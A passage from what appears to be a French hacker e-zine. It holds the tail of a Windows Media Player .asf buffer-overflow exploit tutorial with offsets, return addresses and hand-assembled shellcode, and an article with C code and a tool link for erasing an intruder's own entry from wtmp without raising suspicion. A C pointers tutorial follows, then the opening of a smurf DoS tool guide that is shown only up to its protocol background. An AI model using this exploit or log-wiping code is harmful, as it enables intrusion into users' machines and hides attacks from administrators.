s'aperçoit que dessous la barre des boutons play, stop, pause etc.. il y a le titre
'IOC RULEZ' :-) On clicke sur ce titre et la pouum SI surgit immédiatement, kool :)

On regarde les registres et on voit que EIP = 41414141 et EBP = 41414141, mais ce qui
est le plus intéressant c'est de regarder dans les registres on saperçoit que EBX pointe
dans le buffer, vers la fin. Cela va beaucoup nous servir car l'adresse du buffer change
tout le temps ce qui fait que l'on ne peut pas donner d'adresse fixe a EIP.

Par contre si l'on fait pointer EIP vers un 'call ebx' en memoire on est sûr de tomber
sur le buffer à chaque fois.

Pour trouver un 'call ebx' je désassemble user32.dll avec wdasm, au moins ça je suis
sûr que c'est tout le temps chargé en mémoire pour tous les windows (par contre je ne
pense pas que l'adresse va être compatible avec les win 2000/nt/xp ; pour que cela soit
compatible il faudrait scanner la memoire à la recherche dun call de ce type).

Je trouve le premier call ebx en BFF549D9. Il aurait été biensûr préférable de prendre
un call ebx dans le media player pour une meilleure compatibilité malheureusement celui
ci n'en comporte pas. L'offset de l'écrasement de EIP est 149 donc à cet offset je mets
avec un éditeur hexa le code D9 49 F5 BF (inversion des octets)

Je change mon fichier script de cette façon:


start_marker_table
0.0 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBÙIõ¿AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0.1 IOC ROULAIZE :-)
end_marker_table


Dans le script le " ÙIõ¿ " correspond aux caractères ascii de BFF549D9; les 4 B avant
c'est ce que l'on peut mettre dans EBP. J'ai mis ça pour le fun, ça va pas nous servir.
On pose un 'bpx BFF549D9' avec SI ce qui nous permettra de pouvoir suivre ce qui ce passe.

On relance le .asf crée avec le nouveau script, click sur le titre, SI break et on se
retrouve dans user32.dll sur un call ebx tout va comme prévu.

Un petit F8 et je me retrouve dans une série de 'inc ecx' car le code de cette instruction
est le code ascii de A ( 41 ). Je suis à l'adresse 0056FA10 il faut que je trouve l'adresse
du début du buffer pour y sauter, je remonte dans SI avec "Crtl + flèche-du-haut" et je
trouve le début de mon buffer en 0056F885 (les adresses sont certainement différentes chez
vous mais on s'en fout vu que l'on n'utilise pas de valeur directe).

Je pense que ça mérite un petit schéma du désasemblage de la mémoire pour mieux
comprendre tout ça


Adresse Code Instruction
-------- ---- -----------

0056F885 41 INC ECX <--- Début de mon buffer
0056F886 41 INC ECX
0056F887 41 INC ECX
........ .. ... ...
........ .. ... ...
........ .. ... ...
........ .. ... ...
0056F9DB 41 INC ECX
0056F9DC DB 49 ESC <--- Les intructions on s'en fout mais
0056F9DE F5 CMC <--- regardez bien le code c'est ici
0056F9DF BF 41 41 41 41 mov edi, 41414141 <--- que l'on gribouille EIP
0056F9E4 41 INC ECX
........ .. ... ...
........ .. ... ...
........ .. ... ...
........ .. ... ...
0056FA0F 41 INC ECX
0056FA10 E9 70 FE FF FF JMP 0056F885 <--- Ce saut permet d'aller au début
du buffer afin d'utiliser au mieux
0056FA15 41 INC ECX la place dont on dispose.




Récapitulation:
_______________

EIP pointe vers un adresse où se trouve un call ebx. Une fois exécuté ce call
on se retrouve en 0056FA10 à cette adresse se trouve un saut qui nous ramène
au début du buffer.

Le buffer où l'on peut mettre le code est partagé en plusieurs parties ; on peut
représenter ça de cette façon:

0056F885 Buffer1
........
........
........
Ecrire un saut vers buffer2
0056F9DC EIP
0056F9E0 Buffer2
........
........
........
Ecrire un saut vers buffer3
0056FA10 Saut buffer1 <- On commence ici
0056FA15 Buffer3
........
........
........


Trouver l'offset dans le buffer de ladresse 0056FA10
56FA10 - 56F885 = 18Bh = 395d

A l'offset 395 en decimal, on remplace, avec un éditeur hexa, en suivant cinq 41
par E970FEFFFF.

E970FEFFFF = code pour le jmp 395 octet en arrière + 5 octet du saut lui même.
C'est pas très important, je vais pas faire un cours sur les compléments à 2 et
calcul de saut. SI donne le code directement. Il suffit de taper la commande 'a'
et de taper l'instruction. Si la commande 'code on' est activée alors SI donne le
code directement

On va mettre au début du buffer un peu de code pour afficher une messagebox par
exemple. Pour afficher une messagebox simple normalement on doit faire:


push 00000000
push offset titre
push offset message
push 00000000
call MessageBoxA

Problème ici le code de 'push 00' est '6A00'. Inséré un 00 dans le code d'un
exploit de Bof pose toujours un problème. Le 00 est souvent considéré comme
la fin de fichier, fin du packet etc... il ne faut pas mettre de 00 dans le code.

Il va falloir utiliser de petites astuces pour mettre 0 sur la pile:

xor eax, eax
push eax



Autre problème comme l'adresse du buffer change à chaque fois on ne peut pas
utiliser une adresse fixe. Petite astuce avec le registre de pointeur de pile:

mov ebp, esp
mov [ebp+10], FFFFFFFF

Comme ça on n'utilise pas d'adresse directe en plaçant les données sur la pile.



Il faut aussi trouver l'adresse des api du kernel
La solution la plus simple est de désassembler les dll où se trouvent les apis
dont on a besoin :

user32.dll pour MessageBoxA ---> BFF5412E
kernel32.dll pour ExitProcress ---> BFF8D4F8


Si cette solution est la plus simple, elle est aussi la plus mauvaise car la moins
portable sur d'autres systèmes windows (XP, 2000, nt). Les adresses changent suivant
les windows pour faire un code bien portable il faut scanner la mémoire à la recherche
de ces api ; ce sujet étant long et assez difficile pour les non initiés, j'en parlerai
plus tard peut-être dans un article sur l'infection des environnements win32.




Bon après tous ces petits détails voici le code pour afficher une MessageBox
(libre à vous après de coder ce que vous voulez :) )


89E5 mov ebp, esp
31C0 xor eax, eax
C74501494F4334 mov [ ebp + 01 ], 34434F49 ;4COI
894505 mov dword ptr [ ebp + 05 ], eax ;00
C7450648454C4C mov [ ebp + 06 ], 4C4C4548 ;LLEH
C7450A4F20574F mov [ ebp + 0A ], 4F57204F ;OW O
C7450E524C4421 mov [ ebp + 0E ], 21444C52 ;!DLR
894512 mov dword ptr [ ebp + 12 ], eax ;00
50 push eax
8D5D01 lea ebx, [ ebp + 1 ]
53 push ebx
8D5D06 lea ebx, [ ebp + 6 ]
53 push ebx
50 push eax
E8F930B5BF call MessageBoxA ;call BFF5412E
50 push eax
E8BDC4B8BF call ExitProcess ;call BFF8D4F8




Maintenant il ne reste plus qu'à ajouter le code au début de notre buffer et
créer le nouveau fichier .asf. Et dès que l'on clique sur le titre ajouté,
la MessageBox est exécutée et le media player fermé proprement.






[ Conclusion ]

Piouf voilà c'est fini enfin :) j'espère que personne ne s'est perdu en route.
Vous l'aurez compris les BoF sous windows sont souvent difficiles à exploiter
et il est souvent difficile aussi de les faire portables sur un maximum de versions
de windows.

Moralité : << Rien ne sert de courir il faut savoir fragger à point !!! >>











---------------------------------------------------------------------------------------
IV. Wtmp is your friend Neofox
---------------------------------------------------------------------------------------



[ Introducion ]

Ce texte fait suite à l'article sur les logs cleaners parut dans le précédent
numéro. Nous ne reviendrons pas sur le fonctionnement de ces derniers, ni sur
leur programmation, aussi est il préférable d'avoir lu mon permier article sur
le sujet. Nous allons parler d'un problème posé par les log cleaners à la mode,
lors du nettoyage de wtmp, qui vous permettrait en tant qu'admin de déceler la
presence d'un intrus sur votre machine. Nous verrons ensuite comment il serait
possible à ce meme intrus d'effacer ses traces de manière bien plus discrète,
en particulier lorsque l'intrusion a lieu sous Irix.

CES METHODES SONT PRESENTEES CI-APRES DANS LE BUT DE DE MIEUX COMPRENDRE LES
ACTIONS MENEES PAR UN INTRUS SUR UN SYSTEME COMPROMIS. NOUS VOUS DECONSIELLONS
FORTEMENT D'UTILISER CES INFORMATIONS DANS UN BUT ILLEGAL.







++++ | Partie 1 : Le Problème | ++++

=> Le Code
=> Démonstration


I. Le Code :
____________

Le problème provient de la manière dont les cleaners comme vanish ou hideme
recherchent dans wtmp les entrées à effaçer. La recherche est effectuée aprés
avoir déclarer une structure de type 'utmp', en comparant le contenu des champs
ut_name et ut_hosts, respectivement avec argv[1] & [2] ; cela qui permet de cibler
l'entrée à effaçer. Le code utilisé est du type :


// On ouvre l'original
if((input=open(WTMP, O_RDONLY))<0){
fprintf(stdout,"access refused ?!\n");
close(input);
}

// On crée la copie
if((output=creat(NEWWTMP, O_CREAT | O_WRONLY))>0){
while((read(input, &w, size))>0){

// On compare les champs user et hosts
if((strncmp(w.ut_name,argv[1],strlen(argv[1]))==0))
&& (strncmp(w.ut_hosts, argv[2], strlen(argv[2]))==0)){

// si c'est la bonne entrée on ne copie pas

}else{
// sinon on copie
write(output,&w,size);
}
}
}



Vous voyez donc qu'on a réalisé une copie de toutes les entrées sauf de celles
qui contiennent nos traces. On remplacera ensuite l'original par sa copie.





II. Démonstration :
___________________

Imaginez que nous soyons loggés sur une machine de notre réseau, disons
au compte compte 'toto' (once again =) en provenance d'une 2nd machine
de ce même réseau que l'on apellera 'machine'. Nous allons lister les
derniers logins, puis effaçer le notre.

Nous devons donc taper :

host# last
toto machine Mon Jun 10 14:27 still logged in <= notre connexion
toto machine Sun Jun 09 13:45 - 13:50 <= une cnx normale de toto
toto machine Sun Jun 09 08:02 - 12:35 <= une autre cnx de toto
other somehost Fri Jun 07 18:37 - 21:41 <= qqln d'autre

wtmp begins Fri Jun 7 15:10:11 2002
host# ./vanish toto machine 111.112.121.123

V_A_N_I_S_H_E_D
Your tracks have been removed

host# last
other somehost Fri Jun 07 18:37 - 21:41 <= qqln d'autre

wtmp begins Fri Jun 7 15:10:11 2002
host#




Oups ! =)
Que s'est il passé ? Eh bien, il se trouve que toto a pour habitude de se connecter
à son compte sur 'host' depuis une autre machine du LAN, en l'occurence, depuis la
machine d'où nous venons.

De ce fait, notre entrée dans wtmp est identique aux entrées régulières de toto :
les champs 'ut_name' sont identiques puisqu'on a utilisé le même compte, mais les
champs 'ut_host' le sont aussi puisque nous venons de la même machine !
Lors du nettoyage, vansih a recherché les connexions au compte 'toto' provenant de
'machine' et les a supprimées.

Ainsi, au lieu de n'effaçer de wtmp que LA trace de notre passage, nous avons
en fait effaçé TOUTES les connections au compte 'toto' depuis 'machine', c'est à
dire notre propre trace, et avec elle, TOUTES les connections de cet utilisateur !

En effet, en temps normal, c'est le nom d'hote qui permet de cibler la bonne entrée
( quoi qu'il n'est pas toujours possible d'utiliser ce champ ) ; mais dans un cas
comme celui-ci, on ne peut pas différencier l'entrée de l'intrus de celles du vrai
utilisateur et il est par conséquent impossible de la supprimer sans toucher au reste.

Les admins ont intêret à consulter régulièrement l'historique des logins, de manière
à pouvoir constater le cas échant la dispartion subite de toute les connexions d'un
utilisateur et ainsi, découvrir le poteau rose.








++++ | Partie 2 : La Solution | ++++

=> Nouvelle Méthode
=> Nouveau code
=> Démonstration



I. Nouvelle Méthode :
_____________________

Bien évidemment, une solution serait de n'effaçer que notre entrée ; mais comment
différencier notre trace des entrées normales de l'utilisateur dont nous empruntons
le compte, lorsque les champs ut_hosts sont identiques ?

En fait, c'est tout bête. Nous supposerons qu'au moment d'effaçer vos traces, vous
soyez le dernier utilisateur à vous être loggé. Votre trace est alors la dernière
entrée en date dans wtmp. Attention cependant : lors d'un 'last', la dernière cnx
en date est la PREMIERE à s'afficher ; l'affichage se fait donc de la plus récente
à la plus ancienne. L'affichage inverse enfait l'ordre des entrées de wtmp. En effet
dans wtmp, la connexion la plus récente est la DERNIERE entrée, à la fin du fichier.

Nous venons de voir que c'est la position de l'entrée dans le fichier qui permet de
l'identifier. Il nous faut donc ne cibler et n'effaçer que la dernière ligne de wtmp
correspondant à l'utilisateur dont nous empruntons le compte.

Mais pour pouvoir déterminer si nous sommes ou non en présence de cette dernière entrée,
il nous faut auparavant connaître le nombre exact d'entrées correspondant au couple
username/hostname donné en argument.



[ L'Astuce ]

L'astuce que je vous propose est la suivante :

1) Il faut tout dabord mesurer la taille en octets du fichier original, puis l'ouvrir.

2) On procède ensuite une première lecture : si l'entrée courrante contient l'username
et le nom d'hôte, c'est que nous sommes en présence d'une connexion intéressante ; il
peut s'agir soit de la notre, que nous devrons alors effaçer, soit d'une connection
normale de l'utilisateur depuis le même hote que nous, auquel cas on ne doit pas la
toucher. Quoi qu'il en soit, on incrémente le conteur A.

3) Une fois la lecture terminée, conaissant la taille en octets du fichier, nous pouvons
retourner au debut de celui-ci avec lseek().

4) Nous commençons une seconde lecture en faisant tourner le conteur B de la même manière,
ce qui va indiquer notre position courrante.

5) Grace au conteur A, nous conaissons à cet instant le nombre exact d'entrées
correspondant à l'username et au nom d'hote. Si A indique 10, c'est qu'il y a dans
wtmp 10 entrées correspondantes, la notre étant théoriquement la 10ème.
Si B indique 3, c'est que la tête de lecture se trouve actuellement à la 3ème
entrée sur les 10 nous intéressant. Si on poursuit le raisonnement, lorsque B
indiquera 10, nous serons en présence de la dernière des 10 entrées, la notre.
Il faudra donc l'effaçer. Eureka !







II. Nouveau Code :
__________________

Voici l'extrait d'un exemple de code implémentant mon idée.
Nous allons arriver a nos fins à l'aide d'un jeu de compteurs :


// Counters
int i, /* contera le nobre d'entrées effaçées */
size, /* taille de la structure */
nbr, /* nombre d'entrées contenant username et hostname (A) */
current, /* indique la le n° de l'entrée courrante (B)*/
lenght; /* taille de wtmp en octets */





int main ( int argc, char *argv[]){

if(argc!=3){
fprintf(stderr,"Usage : %s <user> <host or IP>\n", argv[0]);
exit(1);
}



Nous devons connaître la taille exacte du fichier en octets, afin de pouvoir
retourner au début avec "lseek();" une fois la première lecture terminée.


// Mesure de la taille du fichier
if(stat(WTMP,&status)==-1){
fprintf(stdout,"\nThere's not %s here ?!\n", WTMP);
exit(1);
} else {
lenght = status.st_size;
}

La taille en octets du fichier wtmp est à présent désignée par 'lenght'.
Bien, nous testons l'ouverture de l'orignal, puis nous créons la copie.


// Ouverture de du fichier original
size=sizeof(w);
if((input=open(WTMP, O_RDONLY))<0){
fprintf(stdout,"access refused ?!\n");
exit(1);
close(input);
}


// Creation de la copie et premiere lecture
if((output=creat(NEWWTMP, O_CREAT | O_WRONLY))>0){
while((read(input, &w, size))>0){

// On recherche les entrées correspondantes
if((strncmp(w.ut_name,argv[1],strlen(argv[1]))==0) &&
(strncmp(w.ut_host,argv[2],strlen(argv[2]))==0)){
nbr++; // On les compte
}
}




Nous venons de rechercher dans wtmp les entrées correspondant au couple
argv[1]/argv[2] (username/hostname). Le nombre d'entrées est désigné par
'nbr'. C'est le compteur A dont je parle plus haut.

La première lecture est à présent terminée et la "tête de lecture" est
positionnée en bas du fichier. Connaissant la taille de celui-ci, nous
replaçons la tête au début pour commencer une nouvelle lecture


// retour au début
lseek(input,-lenght,SEEK_END);


// Puis seconde lecture
while((read(input, &w, size))>0){


Nous recherchons à nouveau les entrées correspondantes ; nous en conaissons
déja le nombre. On incrémente le compteur 'current' à chaque entrée si celle-ci
colle. Cela nous indique donc que nous sommes à la ligne n° 'current' pour un
total de 'nbr' lignes retenues. C'est le compteur B dont je parle plus haut.


if((strncmp(w.ut_name,argv[1],strlen(argv[1]))==0)&&
(strncmp(w.ut_host,argv[2],strlen(argv[2]))==0)){
current++;



Si current==nbr (<=> A=B), cela signifie que nous nous trouvons par exemple à
la ligne n°10 sur un total de 10 lignes , soit à la dernière entrée, celle que
nous voulons virer !


if(current == nbr){
i++; // On veut supprimer cette entrée
// donc incrémente et on la saute

} else {
// sinon, on copie
write(output,&w,size);
}
} else {
// sinon, l'entrée ne correspond pas
// donc on la copie
write(output,&w,size);
}
}
}


fprintf(stdout,"%d line(s) found for user '%s'\n", nbr, argv[1]);
fprintf(stdout,"%d track(s) deleted\n", i);
close(input);
close(output);







III. Démonstration :
____________________


Reprenons l'exemple de tout à l'heure et voyons ce que cela aurait donné
avec le nouveau code :

host# last
toto machine Mon Jun 10 14:27 still logged in <= votre connexion
toto machine Sun Jun 09 13:45 - 13:50 <= une cnx normale de toto
toto machine Sun Jun 09 08:02 - 12:35 <= une autre cnx de toto
other somehost Fri Jun 07 18:37 - 21:41 <= qqln d'autre

wtmp begins Fri Jun 7 15:10:11 2002

host# ./new
Usage : ./new <user> <host or IP>
host# ./new toto machine
3 line(s) found for user 'toto'
1 track(s) deleted
host# last
toto machine Sun Jun 09 13:45 - 13:50 <= une cnx normale de toto
toto machine Sun Jun 09 08:02 - 12:35 <= une autre cnx de toto
other somehost Fri Jun 07 18:37 - 21:41 <= qqln d'autre

wtmp begins Fri Jun 7 15:10:11 2002
host#


Seule la bonne entrée a été effaçée. Comme quoi, finalement, on peut faire des
omelettes sans casser des oeufs =).








++++ | Partie 3 : Sous Irix | ++++

=> Explications
=> Getafix v2.0



I. Explications :
_________________


Irix est un OS que l'on peut qualifier d'exotique, ne serait-ce que par la position
de ses fichiers de log. Nous allons nous intéresser seulement à wtmp. Si vous avez
déja essayé d'y compiler, disons vanish, vous avez surement eut quelques surprises.
L'explication se trouve dans '/usr/include/utmp.h' qui définit l'allure de la
structure de type 'utmp' :


struct utmp
{

char ut_user[8];
char ut_id[4];
char ut_line[12];
char ut_pid;
short ut_type;
time_t ut_time;

}


Comme vous pouvez le voir, il n'y a pas de champ 'ut_host' et il vous faudra donc
ajuster votre vanish.c de manière à n'utiliser que 'ut_name', sans quoi, vous ne
pourrez pas compiler. Dans le meilleur des cas, la recherche de l'entrée à effaçer
ne peut donc se faire qu'en examinant le champ 'ut_name' ce qui augmente grandemment
le risque d'effaçer une ou plusieurs mauvaises entrée en plus de la bonne.

Nettoyer nos traces revient alors à supprimer sans le vouloir toutes les entrées
correspondant au compte que nous utilisons. Nettoyage intégral garanti !
Aussi la méthode que je vous propose s'avère d'autant plus utile dans un cas
comme celui-ci.





II. Getafix v2.0 :
__________________


Dans le précédent numéro, je vous proposais la version 1.0 d'un log cleaner
pour Irix, baptisé "getafix" pour l'occasion. Aujourd'hui, la version 2.0
implémente cette nouvelle approche pour nettoyer wtmp sans faire de casse.
J'ai également corrigé quelques petites erreurs, sans grande importance,
notemment en ce qui concerne certains compteurs mal incrémentés.

Vous trouverez 'getafix v2' ici :

http://www.rootshell.be/~ioc/downloads/progs/cleaners






[ Conclusion ]

Je ne donnerais pas ici de code complet, je vous laisse le soin de parfaire vos
propres outils selons vos besoins, en espérant que cet article vous y aidera.
Pour tout commentaires, conseils, questions, ou pour signaler une erreur, n'hesitez
pas à me contacter, je suis là pour ça.

J'en profite pour signaler au passage un nouvel outil de conception trés intéressante ;
il s'agit d'un log faker que je vous laisse découvrir par vous même :

http://www.rootshell.be/~mrmilow
















---------------------------------------------------------------------------------------
V. Language C : Comprendre les Pointeurs

  
MeiK
---------------------------------------------------------------------------------------



[ Introduction ]

Beaucoup de débutants butent un moment sur les pointeurs lorsqu'ils apprennent
à programmer en langage C. Et encore, même certains programmeurs de niveau moyen
rencontrent quelques difficultés avec les pointeurs. Vu qu'il semble que ce soit
un problème pour la majorité, je me suis senti presque obligé de faire un article
là dessus.




I. Qu'est-ce qu'un pointeur ? :
_______________________________


Avec les mots les plus simples, un pointeur est une variable qui garde en mémoire
l'adresse d'une autre variable. C'est un peu comme l'adresse que vous mettez sur
une enveloppe (bon, on est à l'ère de l'e-mail, mais c'est toujours d'actualité).
Cette adresse pointe vers la maison de la personne à qui vous voulez envoyer la
lettre. Le pointeur garde simplement l'ADRESSE. De la même manière que l'enveloppe
a l'adresse de la personne, elle *pointe* vers la personne.

Vous avez compris ? Vous voyez donc que c'est simple jusque là...

Ensuite, pourquoi on trouve que c'est une façon chiante de faire les choses est un
autre sujet que vous découvrirez un peu plus tard dans cet article.




II. Déclarer des pointeurs :
____________________________


Déclarer un pointeur est une chose très simple :

char *pointeur;

Dans ce cas, le pointeur pointe vers l'adresse mémoire d'une variable de type
CHAR. Notez que ça doit pointer vers une variable de type CHAR et non un autre
type. Le compilateur risque de vous faire chier si vous mettez pas le bon type.




III. Utiliser les pointeurs :
_____________________________


Maintenant on va faire un petit échange. On va échanger le contenu de deux
variables en utilisant des pointeurs :

int var1 = 13, var2 = 69, temp;
int *pointeur;


pointeur = &var1; /* Au cas ou vous ne savez pas que &var1 est "adresse de */
/* "
l' adresse de l'emplacement du contenu de var1" et non */
/* le contenu actuel de var1 lui-meme */

temp = *pointeur; /* Copie la valeur de la variable pointée par 'pointeur' */
/* dans la variable 'temp', dans ce cas là, 'var1 */


*pointeur = var2; /* Copie le contenu de var2 à l'adresse pointée par le pointeur*/

var2 = temp; /* copie le contenu de var2 dans temp */

On a juste échangé les valeurs en utilisant les pointeurs. Bon, ça peut sembler
sans intérêt, mais ça montre bien comment s'utilisent les pointeurs.




IV. L'Opérateur d'Adresse :
___________________________


Je pense qu'il est grand temps de s'occuper de l'opérateur d'adresse car il y a
quelques petits détails utiles que vous devriez connaître à propos de ce dernier.
Il y a quelques trucs que vous ne pouvez pas faire avec l'opérateur d'adresse ;
certains peuvent sembler évidents, d'autres pas.

-[1]-

var_adresse = &13;
Vous ne pouvez pas utiliser l'opérateur d'adressage avec des constantes.

-[2]-

var_adresse = &(valeur + 69);
Vous ne pouvez pas utiliser l'opérateur d'adressage dans des expressions
impliquant l'utilisation d'opérateurs tels que + et -.

-[3]-

var_adresse = ®
Vous ne pouvez pas utiliser l'opérateur d'adressage en précédant des variables
register étant donné la définition register reg.




V. Pointeurs et Tableaux :
__________________________


Les pointeurs et les tableaux sont assez liés et sont ainsi confondus.
Voyons le morceau de code suivant :

float salaire[50];
float *float_ptr;

Maintenant on considère :

float_ptr = salaire;
float_ptr = &salaire[0];

Bon, ces deux instructions font la même chose. Elles font que float_ptr
pointe vers le premier élément du tableau 'salaire'.

Une chaine constante (comme "
Input Output Corporation") est stockée dans un
tableau de caractères avec un caractère de fin en tant que dernier caractère.
Mais regardez ce qui suit :

char *char_ptr = "
Input Output Corporation";

Ca définit non seulement le pointeur, mais ça l'initialise aussi à l'adresse
du premier caractère dans la chaine. La même chose aurait pu être écrite de la
façon suivante :

char *char_ptr;
char_ptr = "
Input Output Corporation";



VI. "
Pointeurs à pointeurs" :
____________________________


Cela vous semble peut-être chiant, mais ça vous servira très souvent si vous
commencez à coder beaucoup plus un jour. En fait, par ce titre, je voulais dire
que c'est un pointeur qui pointe sur un pointeur qui pointe sur l'adresse d'une
certaine variable.

L'exemple le plus courant est certainement dans la fonction main() avec
les paramètres qu'on lui passe depuis la ligne de commande :


int main(int argc, char *argv[]);

le char *argv (qu'on écrit aussi parfois char **argv[]) est un pointeur
de pointeur.





[ Conclusion ]

Que retenir de tout ça ? bien tout simplement que les pointeurs peuvent
devenir assez utiles parfois, vous l'aurez vu dans la première partie. Bon,
je sais pertinement qu'il y a des tas d'autres choses à dire sur les pointeurs,
mais si vous êtes un débutant, vous découvrirez le reste de vous même ; si vous
êtes déjà un programmeur avancé, vous devez déjà savoir.













---------------------------------------------------------------------------------------
VI. Programmation d'un Smurfer Li0n7
---------------------------------------------------------------------------------------



[ Introduction ]

Smurfing, DoS, techniques qui furent très en vogue ces cinq dernières années,
ont largement prouvées leur efficacité lors de mise hors service de serveurs web.
Le principe, très simple et cher aux kiddies, rebute néanmoins la plus part des
individus désireux de tenter l'expérience en raison de sa difficulté de mise
en oeuvre, du moins au niveau de la programmation de l'outil. Je ne vais pas
m'embarrasser à vous rappeler le principe du fonctionnement d'un smurfer, vous
êtes tous censés le connaître. Les paquets ICMP envoyés seront de type ICMP_ECHO
et de code 1.


[ Sommaire ]

I. Protocole ICMP
II. Protocole IP
III.Programmation du smurfer
IV. Implémentation
V. Code source








I. Le Protocole ICMP :
______________________

Le protocole ICMP (Internet Control Message Protocol) est un protocole
qui permet de gérer les informations relatives aux erreurs aux machines
connectées. Etant donné le peu de contrôles que le protocole IP réalise,
ICMP permet non pas de corriger ces erreurs mais de faire part de ces
erreurs aux protocoles des couches voisines. Ainsi, le protocole ICMP est
implémenté par tous les routeurs, qui l'utilisent pour reporter une erreur
(appelée Delivery Problem). Les messages d'erreur ICMP sont transportées
sur le réseau sous forme de datagramme, comme n'importe quelle donnée.
Ainsi, les messages d'erreur peuvent eux-mêmes être sujet d'erreurs.
Toutefois en cas d'erreur sur un datagramme transportant un message ICMP,
aucun message d'erreur n'est délivré pour éviter un effet "
boule de neige"
en cas d'incident sur le réseau.



[ Datagramme ICMP ]

Nous savons donc que les données sont envoyés sous forme de datagrammes,
ce dernier est d'une simplicité déconcertante comparé à des datagrammes
TCP par exemple (nécessitant un nombre plus conséquents de headers).
Il contient donc 4 champs:

o type, codé sur 8 bits ; lors de notre smurf nous
définiront le type comme ICMP_ECHO.

o code, codé sur 8 bits ; nous lui allouerons la valeur 1.

o checksum codé sur 16 bits

o et le message qui peut avoir une taille variable.



Je vous propose une petite représentation ci-dessous, (excusez mon manque
de talent artistique) :


0 ______________________15-16________________________31
| | Message ICMP (xb) |
| ID. |____________________________________________ |
| | | | | |
| |Type(8b)| Code(8b)|Checksum(16b)|sequence(xb)|
|_______|________|_________|_____________|____________|



*Type: Voici une liste non exhaustive des différentes valeurs
susceptibles de remplir le champ type du datagrame ICMP.
On ne va pas passer en revu chaque type, l'echo reply et
l'host unreachable nous intéréssant seulement.




+----+-----------------------------------------------------------+
|TYPE| DESCRIPTION |
+----------------------------------------------------------------+
| 0 | Echo reply |
+----------------------------------------------------------------+
| 1 | Réservé |
+----------------------------------------------------------------+
| 2 | Réservé |
+----------------------------------------------------------------+
| 3 | Destination injoignable (unreachable) |
+----------------------------------------------------------------+
| 4 | Source quench |
+----------------------------------------------------------------+
| 5 | Redirection |
+----------------------------------------------------------------+
| 6 | Addresse hôte alternative |
+----------------------------------------------------------------+
| 7 | |
+----------------------------------------------------------------+
| 8 | Requête echo |
+----------------------------------------------------------------+
| 9 | Router advertissement (envoyé comme multicast, donc listé)|
+----------------------------------------------------------------+
| 10 | Router solicitation |
+----------------------------------------------------------------+
| 11 | Temps excédé |
+----------------------------------------------------------------+
| 12 | Parameter problem (réponse à une erreur non couverte par |
| | une requête icmp quelconque) |
+----------------------------------------------------------------+
| 13 | Requête - Timestamp |
+----------------------------------------------------------------+
| 14 | Réponse - Timestamp |
+----------------------------------------------------------------+
| 15 | Requête - Information |
+----------------------------------------------------------------+
| 16 | Réponse - Information |
+----------------------------------------------------------------+
| 17 | Requête - Adress mask |
+----------------------------------------------------------------+
| 18 | Réponse - Adress mask |
+----------------------------------------------------------------+
| 19 | Réservé |
+----------------------------------------------------------------+
| 20 | |
| - | |
| - | Réservé |
| - | |
| 29 | |
+----------------------------------------------------------------+
| 30 | Traceroute |
+----------------------------------------------------------------+
| 31 | Conversion error |
+----------------------------------------------------------------+
| 32 | Redirection dynamique |
+----------------------------------------------------------------+
| 33 | Requête "
?" - IPv6 (détermine la version de l'IP) |
+----------------------------------------------------------------+
| 34 | Réponse "
!" - IPv6 |
+----------------------------------------------------------------+
| 35 | Requête - Mobile Registration |
+----------------------------------------------------------------+
| 36 | Réponse - Mobile Registration |
+----------------------------------------------------------------+
| 37 | Requête - Nom de domaine |
+----------------------------------------------------------------+
| 38 | Réponse - Nom de domaine |
+----------------------------------------------------------------+
| 39 | SKIP Algorithm Discovery Protocol. |
+----------------------------------------------------------------+
| 40 | Photuris (failles de sécurité) |
+----------------------------------------------------------------+
| 41 | |
| - | Réservé |
| - | |
|255 | |
+----+-----------------------------------------------------------+



*Code : Il sera initialisé à 0 pour notre type de requête icmp.

*ICMP Header Checksum : Somme de contrôle. Header ICMP + données.
Le champ checksum doit être initialisé à 0
avant toute modification.

*Identificateur : Permet d'identifier à qui le paquet est destiné,
de coller une réponse sur une requête icmp.


Numéro de séquence: Permet de différencier les paquets.






II. Protocole IP :
__________________

Fondamental et indispensable, ce protocole est à la base de la
communication sur Internet et à travers tout type de réseau. Il
traite les datagrammes IP indépendamment les uns des autres en
définissant leur représentation, leur routage et leur expédition.



[Datagramme IP]


0 ____________________15-16___________________________31
| 4 | IHL | To S | Total Lenght |
|_____|_______|________|______________________________|
| Identification | Flags | Fragment offset |
|____________________|_______|________________________|
| TTL | Protocol | Header checksum |
|_________|____________|______________________________|
| Source IP address |
|_____________________________________________________|
| Destination IP address |
|_____________________________________________________|
> Options (facultatif) <
|_____________________________________________________|
| |
< Data <
> >
|_____________________________________________________|



*Version : Toujours initialisée à 4, étant la version
actuelle du protocole IP.

*IP Header Length : Nombre de mots 32 bits formant le datagramme,
d'habitude initialisé à 5.

*Type of Service : Actuellement appelé Differentiated Services Code
Point (DSCP). Normalement initialisé à 0, peut
indiquer les besoin de qualité d'un service du réseau.


*ToS : Voici les 4 options des ToS:

[NOM] [VALEUR]

1- Minimiser le délai 0x10
2- Maximize throughput 0x08
3- Minimiser pertes 0x04
4- Minimiser la valeur pécuniaire 0x02



*Size of Datagram : En bytes, regroupant la taille de l'header
et des données.

*Identification : Nombre 16 bits qui avec l'adresse source
servent à identifer le paquet.


*Flags: 4 flags fondamentaux:

[NOM] [VALEUR]

1- Pas de flag 0x00
2- Fragmenter plus 0x01
3- Ne pas fragmenter 0x02
4- More and Dont't frag 0x03



